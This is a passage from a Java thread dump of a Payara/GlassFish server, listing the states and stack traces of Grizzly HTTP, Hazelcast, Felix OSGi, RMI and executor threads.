java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI Scheduler(0)" #172 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@524a6c77 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixFrameworkWiring" #21 daemon [WAITING] on java.util.ArrayList@73f29a1 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-listener-2-kernel(1) SelectorRunner" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-2" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #3" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-12" #145 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #10" #163 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-7" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.IO.BalancerThread" #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39c46f6c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"FelixResolver-8" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.response-0" #42 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RMI TCP Accept-8686" #168 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.21/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.21/java.net.ServerSocket.implAccept(ServerSocket.java:576) + at java.base@11.0.21/sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:394) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:366) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(5)" #100 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6d0d20a6 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"DestroyJavaVM" #148 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #137 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-11" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Logging output pump" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34b47dc9 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"ForkJoinPool.commonPool-worker-19" #88 daemon [WAITING] on java.util.concurrent.ForkJoinPool@68868d3b + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1628) + at java.base@11.0.21/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:183) + +"admin-thread-pool::admin-listener(1)" #103 daemon [WAITING] on java.lang.Object@1751dc2f + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(3)" #98 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6d0d20a6 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(1)" #96 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6d0d20a6 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"log-notifier-1" #124 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d9abf79 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda$1586/0x0000000800ab2040.run(Unknown Source) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:305) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"fileinstall-/opt/payara/appserver/glassfish/domains/domain1/autodeploy/" #160 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"http-thread-pool::http-listener-1(4)" #92 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@572e3cf5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-1" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3157cff4 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.generic-operation.thread-3" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0813e5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #112 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-4" #118 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #132 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"CM Event Dispatcher" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37332e36 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #1" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-scheduled-task" #123 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6bad830b + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Common-Cleaner" #128 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@72292d39 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.21/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.cached.thread-4" #131 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@75067191 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at 